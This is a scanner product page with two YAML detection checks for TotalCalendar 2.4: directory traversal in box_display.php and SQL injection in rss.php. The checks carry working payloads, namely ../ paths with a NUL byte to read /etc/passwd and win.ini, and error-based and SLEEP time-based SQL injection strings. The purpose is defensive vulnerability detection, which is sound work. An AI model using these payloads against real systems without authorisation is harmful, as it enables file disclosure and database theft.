TotalCalendar — 2 vulnerability checks
noctis ships 2 vulnerability checks for TotalCalendar, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
TotalCalendar box_display.php Directory Traversal
| CVE | CVE-2009-4974 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/totalcalendar/CVE-2009-4974.yaml |
Tests TotalCalendar 2.4 for the unauthenticated directory traversal in box_display.php, which reads the box file named by the box parameter without checking it. The feed requests box_display.php under the usual install folders (/projects/TotalCalendar, /TotalCalendar, the web root, /totalcalendar, /calendar) with box set to a ../ sequence ending in etc/passwd, a NUL byte (%00) and .htm, the suffix the script requires and that the NUL byte cuts off, and, when no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply confirms the traversal. The NUL-byte cut only works on PHP before 5.3.4 with magic_quotes_gpc off, so installs on newer PHP are not reported. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET {{dir}}/box_display.php?box=../../../../../../../../../../etc/passwd%00.htm - Checks
passwd_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/box_display.php?box=../../../../../../../../../../windows/win.ini%00.htm - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{dir}}/box_display.php?box=../../../../../../../../../../boot.ini%00.htm - Checks
bootini_r.bodyfor(?i)\[boot loader\] - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/box_display.php?box={{ctrl_path}}%00.htm - Checks
ctrl_r.bodyfor(?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support… - Checks
lin_prooffor^(?:root|<redacted>):<redacted>:0:[0-9]+:→ finding QoD 75: TotalCalendar box_display.php Directory Traversal (CVE-2009-4974) - Checks
win_filefor^(windows/win\.ini|boot\.ini)$→ finding QoD 75: TotalCalendar box_display.php Directory Traversal (CVE-2009-4974)
References:
Feed source — tests/vulnerabilities/totalcalendar/CVE-2009-4974.yaml
# TotalCalendar 2.4 box_display.php "box" directory traversal — CVE-2009-4974
#
# TotalCalendar (sweetphp.com, PHP event calendar) 2.4 ships box_display.php,
# which reads the box file named by the `box` GET parameter with no check and
# no login. The advisory (exploit-db 9524) shows
# box_display.php?box=../../../../../../../../etc/passwd%00.htm
# — the value must end in ".htm", and a NUL byte (%00) before that suffix cuts
# the path on PHP < 5.3.4 with magic_quotes_gpc off, so any file the web server
# user can read is printed in the reply. No source and no fixed release is
# public any more.
#
# Detection (benign, read-only): GET <dir>/box_display.php with box set to a
# ../ sequence ending in etc/passwd%00.htm and match the CONTENT of
# /etc/passwd; when the script answers but no passwd line comes back, the
# Windows files windows/win.ini, then boot.ini. QoD 75 (response analysis).
# %00 in the query goes out verbatim through http_request.
#
# Improvements over the source NASL:
# - The NASL only probes folders whose index.php carries the "Event calendar
# powered by TotalCalendar>" footer; a customised footer or an install
# without index.php in the same folder is missed. The feed probes
# box_display.php directly under the usual folders (/projects/TotalCalendar,
# /TotalCalendar, the web root, /totalcalendar, /calendar) and relies on the
# control request below instead.
# - Ten "../" levels (NASL: eight), so deeper installs are still read.
# - Linux and Windows system files are tried without relying on OS detection.
# - A control request (same parameter, a path in an absent random directory
# that still ends with the file that hit, %00.htm) must come back WITHOUT
# any of these files; a blanket responder or a honeypot keying a fake file
# on the file name or path suffix is not reported (fail-closed: no control
# reply → no finding, and the control must get the same HTTP status as the
# probe, so a WAF blocking the second request is not read as clean).
# - The account name (unless "root"), password field and gecos of the uid-0
# line are redacted before they reach the finding.
#
# The same NVT names CVE-2009-4973 (rss.php selectedCal SQL injection) but
# never tests it: see CVE-2009-4973.yaml in this folder.
#
# CVSS: CVE-2009-4974 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_totalcalendar_sql_inj_n_dir_trav_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902225, GPL-2.0-only).
uid: 29d1ad49-e043-4364-80bb-b74fada6f873
name: "TotalCalendar box_display.php Directory Traversal (CVE-2009-4974)"
description: |
Tests TotalCalendar 2.4 for the unauthenticated directory traversal in
box_display.php, which reads the box file named by the box parameter
without checking it. The feed requests box_display.php under the usual
install folders (/projects/TotalCalendar, /TotalCalendar, the web root,
/totalcalendar, /calendar) with box set to a ../ sequence ending in
etc/passwd, a NUL byte (%00) and .htm, the suffix the script requires and
that the NUL byte cuts off, and, when no passwd content comes back,
windows/win.ini and then boot.ini. The content of the file in the reply
confirms the traversal. The NUL-byte cut only works on PHP before 5.3.4 with
magic_quotes_gpc off, so installs on newer PHP are not reported. A control
request for an absent random file through the same parameter must not return
any of these files, so a server that serves the same content on every
request is not reported. Only world-readable system files are read. The
account name (unless root), password field and gecos of the uid-0 line are
redacted from the evidence.
cves: [CVE-2009-4974]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [totalcalendar, php, calendar, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4974"
- "https://www.exploit-db.com/exploits/9524"
# OpenVAS/Greenbone NASL 2010/gb_totalcalendar_sql_inj_n_dir_trav_vuln.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per install folder.
# Each pass resets the values it reads, so nothing is left over.
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/projects/TotalCalendar", "/TotalCalendar", "", "/totalcalendar", "/calendar"]
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Linux: /etc/passwd ───────────────────────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/box_display.php?box=../../../../../../../../../../etc/passwd%00.htm"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw body must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
let name = passwd_m.captures[0];
name.trim();
if name == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
store_as: lin_proof
# ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
# script answered (200) and the Linux read gave nothing ───────────────────
- id: read-winini
action: http_request
method: GET
path: "{{dir}}/box_display.php?box=../../../../../../../../../../windows/win.ini%00.htm"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && passwd_r.status == 200'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof == "" && passwd_r.status == 200'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{dir}}/box_display.php?box=../../../../../../../../../../boot.ini%00.htm"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: same parameter, absent random file — must NOT carry a file ──
# The absent path sits in a random missing directory but still ENDS with
# the file that hit (etc/passwd, windows/win.ini or boot.ini) and the NUL
# byte, so a honeypot that keys a fake file on that name or path suffix
# answers it too.
- id: control-path
action: script
code: |
let f = if lin_proof != "" { "etc/passwd" } else { win_file };
"../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_path
- id: control
action: http_request
method: GET
path: "{{dir}}/box_display.php?box={{ctrl_path}}%00.htm"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered and stayed clean) ─────────────────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
on_match:
finding:
title: "TotalCalendar box_display.php Directory Traversal (CVE-2009-4974)"
description: "An unauthenticated request to box_display.php with the box parameter set to a ../ sequence ending in etc/passwd, a NUL byte and .htm returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw discloses any other file the web server user can read, such as the calendar configuration with its database credentials."
remediation: "No fixed TotalCalendar release is documented: remove TotalCalendar from the server or restrict access to it, or at least make box_display.php accept only the name of a shipped box file (no / or ..), and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/box_display.php?box=../../../../../../../../../../etc/passwd%00.htm returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^(windows/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
on_match:
finding:
title: "TotalCalendar box_display.php Directory Traversal (CVE-2009-4974)"
description: "An unauthenticated request to box_display.php with the box parameter set to a ../ sequence ending in a Windows system file, a NUL byte and .htm returned that file's content, while the same request for an absent file did not. The same flaw discloses any other file the web server user can read, such as the calendar configuration with its database credentials."
remediation: "No fixed TotalCalendar release is documented: remove TotalCalendar from the server or restrict access to it, or at least make box_display.php accept only the name of a shipped box file (no / or ..), and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/box_display.php?box=../../../../../../../../../../{{win_file}}%00.htm returned the content of {{win_file}}; control for an absent file returned no file content"
stop: trueTotalCalendar rss.php selectedCal SQL Injection
| CVE | CVE-2009-4973 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/totalcalendar/CVE-2009-4973.yaml |
TotalCalendar 2.4 places the `selectedCal` parameter of rss.php (SwitchCal action), unescaped, inside a quoted string of an SQL query, allowing unauthenticated SQL injection. In every usual install folder where rss.php answers, this check injects an EXTRACTVALUE expression that makes the database return an XPATH error containing the product of two random numbers, and confirms the computed product appears in the reply. If database errors are shown but that expression is not supported, it falls back to a quote that must produce an SQL syntax error quoting a random marker while a numeric calendar id does not. If the page hides database errors, it falls back to a time-based check: two SLEEP delays of different random lengths must each delay the reply by the requested time over the same request with SLEEP(0). Nothing is written and no data is read from the database.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=1 - HTTP(S) request
GET {{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=1'%20AND%20extra… - HTTP(S) request
GET {{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=extractvalue(1,c… - Parses / computes the next value with a Rhai script
- Checks
xv.foundfor^XPATH syntax error: ~[0-9]+$→ finding QoD 97: TotalCalendar rss.php selectedCal SQL Injection (CVE-2009-4973) - HTTP(S) request
GET {{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=1'{{sc.marker}} - HTTP(S) request
GET {{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal={{sc.ctl}} - Parses / computes the next value with a Rhai script
- Checks
qm.foundfor^NOCTIS[0-9]+Q$→ finding QoD 75: TotalCalendar rss.php selectedCal SQL Injection (CVE-2009-4973) - HTTP(S) request
GET {{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=0'%20OR%20(SELEC… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=0'%20OR%20(SELEC… - HTTP(S) request
GET {{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=0'%20OR%20(SELEC… - … and 2 more steps — see the feed source below
References:
Feed source — tests/vulnerabilities/totalcalendar/CVE-2009-4973.yaml
# TotalCalendar 2.4 rss.php "selectedCal" SQL injection — CVE-2009-4973
#
# TotalCalendar (sweetphp.com, PHP event calendar) 2.4 puts the selectedCal
# GET parameter of rss.php (action=SwitchCal) unescaped inside a quoted string
# of its calendar query. The advisory (exploit-db 9524) shows a blind boolean
# pair:
# rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=1'+and+2-2='0 (TRUE)
# rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=1'+and+2-2='1 (FALSE)
# No source and no fixed release is public any more.
#
# The source NASL names this CVE but never sends an SQL payload (it only tests
# the box_display.php traversal, CVE-2009-4974.yaml). This feed proves the
# injection itself, read-only, in every folder where rss.php answers a plain
# selectedCal=1 with a non-404 status below 500 (/projects/TotalCalendar, /TotalCalendar, the
# web root, /totalcalendar, /calendar):
# 1. QoD 97 — error-based, database-computed proof:
# selectedCal=1' AND extractvalue(1,concat(0x7e,A*B)) AND 'x'='x (and the
# unquoted form, harmless where the value is quoted) with random 6-digit
# A, B; MySQL/MariaDB answer "XPATH syntax error: '~<A*B>'" — the product
# is never in the request. Constant-folded: errors with or without a row.
# 2. QoD 75 — selectedCal=1'<random marker>: an SQL syntax error quoting the
# marker, while a numeric control shows no SQL error (servers without
# EXTRACTVALUE).
# 3. QoD 70 — errors hidden (the advisory's case: blind): row-independent
# time-based check selectedCal=0' OR (SELECT * FROM (SELECT(SLEEP(n)))noctis)
# AND 'x'='x — the derived table sleeps once whatever the row count, SLEEP
# returns 0 so no row matches. Two random delays over a baseline (the same
# payload with SLEEP(0)), each matching the requested time times the same
# multiple k (1..3: the value may be reused in a second query), with a
# >= k*2.5 s gap (a constant tarpit gives ~0).
# Every probe matches no calendar row: nothing is written, no data is read.
#
# CVSS: CVE-2009-4973 v2 7.5 (NVD has no v3 score).
#
# Source: OpenVAS/Greenbone NASL 2010/gb_totalcalendar_sql_inj_n_dir_trav_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902225, GPL-2.0-only) — names this CVE, tests
# only CVE-2009-4974.
uid: 58c78bd9-6f02-4a27-be27-2f243d07383a
name: "TotalCalendar rss.php selectedCal SQL Injection (CVE-2009-4973)"
description: |
TotalCalendar 2.4 places the `selectedCal` parameter of rss.php (SwitchCal
action), unescaped, inside a quoted string of an SQL query, allowing
unauthenticated SQL injection.
In every usual install folder where rss.php answers, this check injects an
EXTRACTVALUE expression that makes the database return an XPATH error
containing the product of two random numbers, and confirms the computed
product appears in the reply. If database errors are shown but that
expression is not supported, it falls back to a quote that must produce an
SQL syntax error quoting a random marker while a numeric calendar id does
not. If the page hides database errors, it falls back to a time-based check:
two SLEEP delays of different random lengths must each delay the reply by
the requested time over the same request with SLEEP(0). Nothing is written
and no data is read from the database.
cves: [CVE-2009-4973]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [totalcalendar, php, calendar, sqli, error-based, time-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4973"
- "https://www.exploit-db.com/exploits/9524"
steps:
# ── Random operands, marker and sleep delays ──────────────────────────────
- id: gen-operands
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let s1 = rand_int(4, 5);
#{ a: a, b: b, prod: "~" + (a * b), marker: "NOCTIS" + rand_int(10000000, 99999999) + "Q",
ctl: "" + rand_int(100000, 999999), s1: s1, s2: s1 + 3 }
store_as: sc
# ── Per candidate install directory (loop group) ──────────────────────────
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-xvq-resp
action: set_var
var_name: xvq_resp
var_value: {status: 0, body: null}
loop:
over: ["/projects/TotalCalendar", "/TotalCalendar", "", "/totalcalendar", "/calendar"]
var: dir
- id: init-page-resp
action: set_var
var_name: page_resp
var_value: {status: 0, body: null}
- id: init-xvn-resp
action: set_var
var_name: xvn_resp
var_value: {status: 0, body: null}
- id: init-qm-resp
action: set_var
var_name: qm_resp
var_value: {status: 0, body: null}
- id: init-ctl-resp
action: set_var
var_name: ctl_resp
var_value: {status: 0, body: null}
- id: init-base-resp
action: set_var
var_name: base_resp
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-sleep1-resp
action: set_var
var_name: sleep1_resp
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-sleep2-resp
action: set_var
var_name: sleep2_resp
var_value: {status: 0, body: null, duration_ms: 0}
# ── Gate: rss.php exists in this folder (a plain calendar id gets any
# non-404 reply below 500 — a SwitchCal that redirects still runs the query)
- id: page-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=1"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: page_resp
# ── Stage 1: EXTRACTVALUE error returning the database-computed product ───
# Quoted context (as in the public PoC) …
- id: xv-quoted
action: http_request
condition: "page_resp.status >= 200 && page_resp.status < 500 && page_resp.status != 404"
method: GET
port: "{{port}}"
path: "{{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=1'%20AND%20extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))%20AND%20'x'='x"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: xvq_resp
# … and unquoted (a harmless string where selectedCal is quoted).
- id: xv-numeric
action: http_request
condition: "page_resp.status >= 200 && page_resp.status < 500 && page_resp.status != 404"
method: GET
port: "{{port}}"
path: "{{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: xvn_resp
- id: check-xv
action: script
code: |
let bq = if type_of(xvq_resp.body) == "string" { xvq_resp.body } else { "" };
let bn = if type_of(xvn_resp.body) == "string" { xvn_resp.body } else { "" };
let hq = bq.contains("XPATH syntax error") && bq.contains(sc.prod);
let hn = bn.contains("XPATH syntax error") && bn.contains(sc.prod);
let hit = hq || hn;
#{ hit: hit, how: if hq { "selectedCal=1' AND extractvalue(1,concat(0x7e," + sc.a + "*" + sc.b + ")) AND 'x'='x" } else { "selectedCal=extractvalue(1,concat(0x7e," + sc.a + "*" + sc.b + "))" },
found: if hit { "XPATH syntax error: " + sc.prod } else { "" } }
store_as: xv
- id: report-xv
action: match
source: xv.found
pattern: "^XPATH syntax error: ~[0-9]+$"
condition: "xv.hit"
on_match:
finding:
title: "TotalCalendar rss.php selectedCal SQL Injection (CVE-2009-4973)"
description: "rss.php (SwitchCal action) ran an SQL expression injected through the selectedCal parameter: the database returned an XPATH error carrying the product of two random numbers chosen by the scanner, which never appear in the request. An unauthenticated attacker can read any data the application's database account can access, including the calendar user accounts."
remediation: "No fixed TotalCalendar release is documented: remove TotalCalendar from the server or restrict access to it. If you maintain the code, cast selectedCal to an integer (or use a prepared statement) before it reaches the query in rss.php, and do not print database errors to visitors."
confidence_delta: 0.65
qod: 97
evidence: "Error-based SQLi confirmed: {{xv.how}} on {{dir}}/rss.php made the database return an XPATH syntax error carrying the computed product {{sc.prod}} (HTTP {{xvq_resp.status}} / {{xvn_resp.status}})"
stop: true
# ── Stage 2: SQL syntax error quoting a random marker + numeric control ───
- id: qm-probe
action: http_request
condition: "page_resp.status >= 200 && page_resp.status < 500 && page_resp.status != 404"
method: GET
port: "{{port}}"
path: "{{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=1'{{sc.marker}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: qm_resp
- id: ctl-probe
action: http_request
condition: "page_resp.status >= 200 && page_resp.status < 500 && page_resp.status != 404"
method: GET
port: "{{port}}"
path: "{{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal={{sc.ctl}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: ctl_resp
# The marker must sit in the database's "near '...'" excerpt (the quote may
# be HTML-escaped), and the control must show no SQL error at all.
- id: check-qm
action: script
code: |
let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
let err = ereg("error in your SQL syntax[^\\n]{0,200}near (?:'|�?39;|'|')[^\\n]{0,24}" + sc.marker, body);
let hit = err && ctl_resp.status != 0 && !cbody.contains("error in your SQL syntax");
#{ hit: hit, found: if hit { sc.marker } else { "" } }
store_as: qm
- id: report-qm
action: match
source: qm.found
pattern: "^NOCTIS[0-9]+Q$"
condition: "qm.hit"
on_match:
finding:
title: "TotalCalendar rss.php selectedCal SQL Injection (CVE-2009-4973)"
description: "A single quote sent in the selectedCal parameter of rss.php (SwitchCal action) broke the SQL query: the database's syntax error quotes the random text that followed it, while a numeric selectedCal caused no error. The parameter reaches the query unescaped, so an unauthenticated attacker can inject SQL and read the application's database."
remediation: "No fixed TotalCalendar release is documented: remove TotalCalendar from the server or restrict access to it. If you maintain the code, cast selectedCal to an integer (or use a prepared statement) before it reaches the query in rss.php, and do not print database errors to visitors."
confidence_delta: 0.55
qod: 75
evidence: "Error-based SQLi: selectedCal=1'{{sc.marker}} on {{dir}}/rss.php returned an SQL syntax error quoting the injected marker, while the control selectedCal={{sc.ctl}} returned no SQL error (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
stop: true
# ── Stage 3 (errors hidden): row-independent time-based check ─────────────
# Baseline first: the same payload with SLEEP(0) — same code path (no row
# matches, so a "calendar not found" page or redirect applies to all three
# requests) — must answer quickly, below 500, without an SQL error (a page
# that shows errors was already handled above).
- id: baseline
action: http_request
condition: "page_resp.status >= 200 && page_resp.status < 500 && page_resp.status != 404"
method: GET
port: "{{port}}"
path: "{{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=0'%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP(0)))noctis)%20AND%20'x'='x"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: base_resp
- id: check-baseline
action: script
code: |
let body = if type_of(base_resp.body) == "string" { base_resp.body } else { "" };
let ok = base_resp.status >= 200 && base_resp.status < 500
&& !body.contains("error in your SQL syntax") && base_resp.duration_ms < 4000;
#{ ok: ok }
store_as: bl
# Longer delay first: an escalating WAF delay cannot fake the ordering.
- id: sleep-probe-2
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=0'%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP({{sc.s2}})))noctis)%20AND%20'x'='x"
condition: "bl.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 35
store_as: sleep2_resp
- id: sleep-probe-1
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=0'%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP({{sc.s1}})))noctis)%20AND%20'x'='x"
condition: "bl.ok && sleep2_resp.duration_ms >= base_resp.duration_ms + sc.s2 * 1000 - 300"
tls_insecure: true
follow_redirects: false
timeout_secs: 35
store_as: sleep1_resp
# Each delay must match the requested SLEEP times the same whole multiple k
# (1..3: the page may run the injected value in more than one query), and
# the longer SLEEP must take at least k * 2.5 s more than the shorter one —
# a tarpit adding the same delay to every request gives a gap of ~0.
- id: check-timing
action: script
code: |
let base = base_resp.duration_ms;
let d1 = sleep1_resp.duration_ms - base;
let d2 = sleep2_resp.duration_ms - base;
let ok = false;
if bl.ok && sleep1_resp.status == base_resp.status && sleep2_resp.status == base_resp.status
&& d1 >= sc.s1 * 1000 - 300 && d2 >= sc.s2 * 1000 - 300 {
for k in 1..4 {
let w1 = d1 >= k * sc.s1 * 1000 - 300 && d1 <= k * sc.s1 * 1000 + 2500;
let w2 = d2 >= k * sc.s2 * 1000 - 300 && d2 <= k * sc.s2 * 1000 + 2500;
if w1 && w2 && (d2 - d1) >= k * 2500 { ok = true; }
}
}
#{ blind: ok, found: if ok { "SLEEP" } else { "" } }
store_as: tb
- id: report-time
action: match
source: tb.found
pattern: "^SLEEP$"
condition: "tb.blind"
on_match:
finding:
title: "TotalCalendar rss.php selectedCal SQL Injection (CVE-2009-4973)"
description: "A SLEEP expression injected through the selectedCal parameter of rss.php (SwitchCal action) delayed the page by the requested time, for two different random delays, while the same expression with SLEEP(0) answered at once. The database runs SQL taken from the parameter, so an unauthenticated attacker can read the application's database (blind injection)."
remediation: "No fixed TotalCalendar release is documented: remove TotalCalendar from the server or restrict access to it. If you maintain the code, cast selectedCal to an integer (or use a prepared statement) before it reaches the query in rss.php, and do not print database errors to visitors."
confidence_delta: 0.40
qod: 70
evidence: "Time-based SQLi confirmed: selectedCal=0' OR (SELECT * FROM (SELECT(SLEEP(n)))noctis) AND 'x'='x on {{dir}}/rss.php delayed the reply by the injected n — baseline {{base_resp.duration_ms}} ms, SLEEP({{sc.s2}}) {{sleep2_resp.duration_ms}} ms, SLEEP({{sc.s1}}) {{sleep1_resp.duration_ms}} ms"
stop: true